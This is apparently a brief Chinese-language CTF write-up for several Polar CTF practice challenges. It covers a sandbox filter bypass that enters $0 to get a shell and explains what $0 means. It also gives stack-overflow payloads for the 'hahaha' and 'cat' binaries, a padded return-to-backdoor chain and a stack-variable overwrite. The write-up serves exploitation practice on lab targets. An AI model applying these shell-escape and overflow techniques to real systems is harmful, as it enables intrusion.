Polar ctf
靶场
sandbox
输入 $0 即可绕过那几个检查
1. $0
的基本含义
- 在脚本中:
$0
表示正在运行的脚本名称。
例如,执行脚本./test.sh
时,$0
的值是./test.sh
。 - 在交互式 Shell 中:
$0
表示当前 Shell 的名称(如bash
、sh
、zsh
)。
例如,在 Bash 中输入echo $0
,输出通常是bash
。
creeper
1 | __int64 game() |
输入15个字符就行,如:
1 | aaaabbbbaaaabb\n |
hahaha
后门直接溢出就行,高版本需要有栈平衡
1 | payload = b'a'*(0x30+8) + p64(0x0000000000400441) + p64(0x400596) |
cat
溢出改栈上的变量
1 | ps = b"lovecat" |